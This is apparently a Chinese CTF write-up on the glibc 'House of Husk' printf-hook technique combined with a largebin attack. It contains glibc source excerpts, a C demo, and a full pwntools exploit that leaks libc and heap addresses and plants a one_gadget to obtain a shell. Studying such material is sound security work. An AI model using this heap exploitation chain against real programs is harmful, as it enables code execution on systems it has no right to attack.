HouseofHusk
本质是利用一个存在于printf
中的hook
。
但是这个hook和下图中libc中puts等函数的hook又不同。这里的puts是由于libc没有开启FULLRELRO导致的,也就是利用libc里面的got表hook。
而houseofhusk
里面所说的printf
的hook
,是利用glibc
开放的一个自定义格式化格式化的接口。原理是检查__printf_function_table
,如果这个值不为空,说明有开发者自定义的格式化字符。比如我要自定义一个%a
,然后让printf
在遇到%a
的时候去执行我指定的函数。那么glibc
会在__printf_arginfo_table[61]
(这个61是%a
中a
的ascii
码)的位置上放一个我指定的函数指针,然后去call
这个函数指针.
HouseofHusk使用结论
为了更轻松的记住HouseofHusk
的机制及使用情景,下面是HouseofHusk
使用结论的简单总结.
1.__printf_function_table
的值不为空。
2.__printf_arginfo_table
被覆写为一个可写地址。
3.在__printf_arginfo_table[x]
上写上我们的gadget
或是别的要调用地址。(x
为程序中printf
所调用的格式化字符的ascii码
)
4.缺陷是无法做到调整参数,基本只能搭配one_gadget
使用.
5.优点是触发条件简单,比起io
的各路神仙满天飞,这个触发条件还是可以接受的。
例题
libc
版本2.31.程序几个关键点如下
1.只能申请0x500-0x540
大小的堆块,但无次数限制,同时最多存在5个未被释放堆块。
2.第一次释放堆块有uaf
,以后的释放堆块都没有uaf。
3.只有一次编辑堆块的机会(看着似乎难度很大,但是实际上要编辑哪个堆块大不了就释放了在申请一次就行。这个编辑堆块本质上是给uaf
的那个堆块用的)
4.show
函数只有一次机会,并且只展示堆块的前十个字节(相当于是必须把uaf
的那个堆块调成fd和bk
一个为main_arena
,一个为堆地址
,然后一次拿下libc_base
和堆基地址
了,不过调一下风水还是可以做到的)
5.还有一次任意地址写一字节机会。
思路
任意地址写一字节机会给__printf_function_table
,largebinattack
打__printf_arginfo_table
,在上面写上一个堆地址。然后调整堆风水,在__printf_arginfo_table['s']也就是__printf_arginfo_table[0x73]
的位置写上one_gadget
。最后引导程序流走到上图所示的LABEL_15
执行printf("%s","GoodBye!")
触发我们的自定义格式化字符成功getshell。
largebinattack
之前对于largebinattack
一直半懂不懂的,这次也是刚好花时间整理了一下。
下面是glibc
的源码部分,问题出在
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
这两行,其中没有对fwd->fd->bk_nextsize
进行检查,所以这个新进来的堆块victim
的bk_nextsize
会被赋值成fwd->fd->bk_nextsize
,也就是我们覆盖的bk_nextsize
.
然后在下一步,在victim->bk_nextsize
所找到的错误的地址再去->fd_nextsize
也就是+0x20
上面写上victim
的地址。
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
largebin使用结论
为了更轻松地记住largebinattack
机制及使用方法,下面是使用结论的简单总结。
一个大小为x的largebin
,其bk_nextsize
被改为地址y
。
当一个大小为z
的堆块进入largebin
,并且大小z和x
属于同一组largebin
,bk_nextsize+0x20
的地址会被写上新进入的这个堆块的堆地址。
测试demo
写了个demo
练练手。可以配合本地环境编译之后逐步调试试试。
#include <stdio.h>
int main()
{
void* p1 = malloc(0x510);
malloc(0x20); // 防止合并
void* p2 = malloc(0x500);
malloc(0x20); // 防止合并
free(p1); // p1进入unsortedbin
malloc(0x520); // 申请一个比p1更大的堆块将p1从unsortedbin放入largebin
long long libc_base = &printf - 0x54110;
long long stderr_adr = libc_base + 0x1d76a0;
*(long*)((long)p1 + 0x18) = stderr_adr - 0x20; // 将p1的bk_nextsize改为要写入的地址-0x20
free(p2); // p2进入unsortedbin
malloc(0x520); // 将p2放入largebin
printf("%s",stderr_adr);
return 0;
}
Exp
add("dbgbgtf",0x510,"aaaa")
add("dbgbgtf",0x500,"bbbb")
add("dbgbgtf",0x500,"cccc")
add("dbgbgtf",0x500,"dddd")
delete(0)
delete(2)
show(0)
fd = u64(io.recv(0x8))
bk = u64(io.recv(0x8))
libc_base = fd - 0x1ebbe0
heap_base = bk - 0xde0
log.success("libc_base = " + str(hex(libc_base)))
log.success("heap_base = " + str(hex(heap_base)))
__printf_function_table = libc_base + 0x1f0ff8
__printf_arginfo_table = libc_base + 0x1f1350
log.info("__printf_arginfo_table = " + str(hex(__printf_arginfo_table)))
log.info("__printf_function_table = " + str(hex(__printf_function_table)))
add("dbgbgtf",0x500,"cccc")
delete(2)
fakelink = p64(libc_base + 0x1ec010)*2 + p64(heap_base + 0x3b0) + p64(__printf_arginfo_table - 0x20)
ogg1 = libc_base + 0xe6aee
ogg2 = libc_base + 0xe6af1
ogg3 = libc_base + 0xe6af4
edit(0,"UafChunk",fakelink.ljust(0x388,b'\x01') + p64(ogg1))
add("dbgbgtf",0x530,"eeee")
backdoor(p64(__printf_function_table),'d')
log.success("printf('%s') will call " + str(hex(heap_base + 0x748)))
debug(io,libc_base)
payload = 0x388*b'\x00' + p64(ogg1)
add("dbgbgtf",0x500,payload)
io.interactive()